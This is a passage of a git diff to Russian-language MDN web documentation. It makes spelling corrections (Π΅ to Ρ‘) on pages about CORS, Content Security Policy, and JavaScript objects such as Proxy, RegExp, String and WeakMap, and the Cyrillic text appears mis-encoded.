ΠΎΡ‚Π²Π΅Ρ‚Ρ‹.</p>
+<p>Для ΠΌΠ΅ΠΆ-сайтовых запросов, произвСдённых с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("XMLHttpRequest")}} ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅Β <a href="/en-US/docs/Web/HTTP/Headers">HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</a>. Π’Π°ΠΊ ΠΆΠ΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅Β HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅Β ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΌΠ΅ΠΆ-сайтового ΠΎΡ‚Π²Π΅Ρ‚Π°. ΠžΠ±Π·ΠΎΡ€ этих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹Β JavaScript ΠΊΠΎΠ΄Π°,Β ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ запросы ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ ΠΎΡ‚ сСрвСра, ΠΊΠ°ΠΊ ΠΈ описаниС каТдого ΠΈΠ·Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΉΠ΄Π΅Π½Β Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β HTTPΒ Access Control (CORS)</a>Β ΠΈ Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π±Ρ‹Ρ‚ΡŒ прочитан вмСстС с Π΄Π°Π½Π½ΠΎΠΉ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒΒ <strong>Запросов контроля доступа</strong>Β ΠΈ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΡƒ <strong>ΠžΡ‚Π²Π΅Ρ‚ΠΎΠ² контроля доступа </strong>Π² PHP. ЦСлСвая аудитория для этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ---Β  Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ сСрвСров ΠΈ администраторы. Π₯отя ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΡƒΡ‚, Π½Π° PHP, подобная концСпция примСняСтся в ASP.net, Perl, Python, Java, etc.; Π² ΠΎΠ±Ρ‰Π΅ΠΌ, эти ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Π² любом сСрвСром ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP запросы ΠΈ динамичСски Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚Β HTTP ΠΎΡ‚Π²Π΅Ρ‚Ρ‹.</p>
<h2 id="Discussion_of_HTTP_headers">Discussion of HTTP headers</h2>
diff --git a/files/ru/conflicting/web/http/csp/index.html b/files/ru/conflicting/web/http/csp/index.html
index a424fc49db..e4572bb83d 100644
--- a/files/ru/conflicting/web/http/csp/index.html
+++ b/files/ru/conflicting/web/http/csp/index.html
@@ -12,7 +12,7 @@ original_slug: Web/Security/CSP
<p><strong>ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</strong> (CSP) β€” это Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ бСзопасности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ ΠΈ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Π°Ρ‚Π°ΠΊ, Π² Ρ‚ΠΎΠΌ числС мСТсайтовый скриптинг (XSS) ΠΈ ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΈ Π°Ρ‚Π°ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для всСго, ΠΎΡ‚ ΠΊΡ€Π°ΠΆΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π΄ΠΎ ΠΏΠΎΡ€Ρ‡ΠΈ сайтов ΠΈ распространСния врСдоносного ПО.</p>
-<p>Π₯отя CSP выпустила ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π² Firefox 4, с использованиСм <code>X-Content-Security-Policy</code> ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ·-Π·Π° наличия Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ спСцификации для CSP. Β Firefox 23 содСрТит ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ CSP, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±Π΅Π· прСфикса Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Content-Security-Policy ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ², ΠΊΠ°ΠΊ описано Π² W3C CSP 1.0 spec.</p>
+<p>Π₯отя CSP выпустила ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π² Firefox 4, с использованиСм <code>X-Content-Security-Policy</code> ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ·-Π·Π° наличия Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΉ спСцификации для CSP. Β Firefox 23 содСрТит ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ CSP, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±Π΅Π· прСфикса Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Content-Security-Policy ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ², ΠΊΠ°ΠΊ описано Π² W3C CSP 1.0 spec.</p>
<h2 id="Π Π°Π·Π΄Π΅Π»Ρ‹_CSP">Π Π°Π·Π΄Π΅Π»Ρ‹ CSP</h2>
@@ -26,7 +26,7 @@ original_slug: Web/Security/CSP
<dt><a href="/en-US/docs/Security/CSP/Using_CSP_violation_reports">Using CSP violation reports</a></dt>
<dd>Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сообщСния CSPΒ  ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΡ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ Π°Ρ‚Π°ΠΊΠΎΠ²Π°Ρ‚ΡŒ ваш сайт ΠΈ Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</dd>
<dt><a href="/en-US/docs/Security/CSP/Default_CSP_restrictions">Default CSP restrictions </a>{{obsolete_inline("15.0")}}</dt>
- <dd>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ ΠΎΠ± ограничСниях Π²Π½Π΅Π΄Ρ€Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² CSP.</dd>
+ <dd>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ ΠΎΠ± ограничСниях Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½Ρ‹Ρ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² CSP.</dd>
</dl>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/conflicting/web/javascript/guide/introduction/index.html b/files/ru/conflicting/web/javascript/guide/introduction/index.html
index 4ea20a6196..155240f7d6 100644
--- a/files/ru/conflicting/web/javascript/guide/introduction/index.html
+++ b/files/ru/conflicting/web/javascript/guide/introduction/index.html
@@ -117,7 +117,7 @@ original_slug: Web/JavaScript/Guide/About
<li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> содСрТит справочный ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» ΠΏΠΎ языку JavaScript.</li>
</ul>
-<p>Если Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² JavaScript, Ρ‚ΠΎ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Π£Ρ‡Π΅Π±Π½ΠΈΠΊΠ° </a><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript</a>. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ усвоили Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ основы, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊΠΎΠΌ JavaScript</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…, выраТСниях ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</p>
+<p>Если Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² JavaScript, Ρ‚ΠΎ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Π£Ρ‡Π΅Π±Π½ΠΈΠΊΠ° </a><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript</a>. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ усвоили Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ основы, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊΠΎΠΌ JavaScript</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…, выраТСниях ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</p>
<h2 id="Π‘ΠΎΠ²Π΅Ρ‚Ρ‹_ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΌ_JavaScript">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΌ JavaScript</h2>
diff --git a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html
index 84bb8a3110..b9e0c98b1c 100644
--- a/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html
+++ b/files/ru/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html
@@ -9,7 +9,7 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview
<h3 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ JavaScript?</h3>
-<p>JavaScript это кросс-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅Π½Π½Ρ‹ΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ, скриптовый язык. JavaScript - это малСнький ΠΈ лСгковСсный язык; ΠΎΠ½ спроСктирован Π½Π΅ для создания Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ,Β  Π° для Π»Π΅Π³ΠΊΠΎΠ³ΠΎ встраивания Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ‹ ΠΈ прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹. Π’Π½ΡƒΡ‚Ρ€ΠΈ основного прилоТСния, JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ этого прилоТСния ΠΈ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π½ΠΈΠΌΠΈ.</p>
+<p>JavaScript это кросс-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅Π½Π½Ρ‹ΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ, скриптовый язык. JavaScript - это малСнький ΠΈ лСгковСсный язык; ΠΎΠ½ спроСктирован Π½Π΅ для создания Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ,Β  Π° для Π»Ρ‘Π³ΠΊΠΎΠ³ΠΎ встраивания Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ‹ ΠΈ прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹. Π’Π½ΡƒΡ‚Ρ€ΠΈ основного прилоТСния, JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ этого прилоТСния ΠΈ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π½ΠΈΠΌΠΈ.</p>
<p>Π―Π΄Ρ€ΠΎ JavaScript содСрТит Π½Π°Π±ΠΎΡ€ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Array, Date ΠΈ Math, ΠΈ Π½Π°Π±ΠΎΡ€ элСмСнтов языка: ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… структур, ΠΈ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Π―Π΄Ρ€ΠΎ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -52,8 +52,8 @@ original_slug: Web/JavaScript/Guide/JavaScript_Overview
<td>Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ (статичСская типизация).</td>
</tr>
<tr>
- <td>НС ΠΌΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° ТСсткий диск.</td>
- <td>ΠœΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° ТСсткий диск.</td>
+ <td>НС ΠΌΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° Тёсткий диск.</td>
+ <td>ΠœΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° Тёсткий диск.</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html
index 6690f5b5bf..59ad23d271 100644
--- a/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html
+++ b/files/ru/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html
@@ -127,7 +127,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
</table>
</div>
-<p>[1] <a href="https://www.chromestatus.com/features/4811188005240832">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a>.</p>
+<p>[1] <a href="https://www.chromestatus.com/features/4811188005240832">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a>.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html
index ffb9a22a3b..ab1bd02ef7 100644
--- a/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html
+++ b/files/ru/conflicting/web/javascript/reference/global_objects/regexp/index.html
@@ -20,7 +20,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype
<div>{{js_property_attributes(0, 0, 0)}}</div>
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>ОписаниС экзСмпляров рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ смотритС Π½Π° страницС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, посвящСнной ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ {{jsxref("Global_Objects/RegExp", "RegExp")}}. ЭкзСмпляры рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>RegExp.prototype</code>. ИзмСнСниС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° распространяСтся Π½Π° всС экзСмпляры рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.</p>
+<p>ОписаниС экзСмпляров рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ смотритС Π½Π° страницС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, посвящённой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ {{jsxref("Global_Objects/RegExp", "RegExp")}}. ЭкзСмпляры рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>RegExp.prototype</code>. ИзмСнСниС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° распространяСтся Π½Π° всС экзСмпляры рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.</p>
<h2 id="Properties" name="Properties">Бвойства</h2>
<p>Π’Π°ΠΊΠΆΠ΅ смотритС <a href="/ru/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RegExp</code></a></p>
diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html
index b346bedec9..f0de3d5413 100644
--- a/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html
+++ b/files/ru/conflicting/web/javascript/reference/global_objects/string/index.html
@@ -80,7 +80,7 @@ original_slug: Web/JavaScript/Reference/Global_Objects/String/prototype
<dt>{{jsxref("String.prototype.slice()")}}</dt>
<dd>Π˜Π·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Ρ‡Π°ΡΡ‚ΡŒ строки ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ строку.</dd>
<dt>{{jsxref("String.prototype.split()")}}</dt>
- <dd>Π Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Global_Objects/String", "String")}} Π½Π° массив строк, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ строкой Π½Π° подстроки.</dd>
+ <dd>Π Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("Global_Objects/String", "String")}} Π½Π° массив строк, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ строкой Π½Π° подстроки.</dd>
<dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚, начинаСтся Π»ΠΈ строка символами Π΄Ρ€ΡƒΠ³ΠΎΠΉ строки.</dd>
<dt>{{jsxref("String.prototype.substr()")}}</dt>
diff --git a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html
index f948e738c4..1b946c504b 100644
--- a/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html
+++ b/files/ru/conflicting/web/javascript/reference/global_objects/weakmap/index.html
@@ -30,15 +30,15 @@ original_slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype
<dl>
<dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt>
- <dd>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Ρƒ.Β <code>WeakMap.prototype.has(key)</code> Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>false</code> послС.</dd>
+ <dd>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Ρƒ.Β <code>WeakMap.prototype.has(key)</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>false</code> послС.</dd>
<dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Ρƒ, or <code>undefined</code>Β Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ³ΠΎ Π½Π΅Ρ‚.</dd>
<dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt>
- <dd>Π’Π΅Ρ€Π½Π΅Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, связанноС с сущСствованиСм ΠΊΠ»ΡŽΡ‡Π°.</dd>
+ <dd>Π’Π΅Ρ€Π½Ρ‘Ρ‚ логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, связанноС с сущСствованиСм ΠΊΠ»ΡŽΡ‡Π°.</dd>
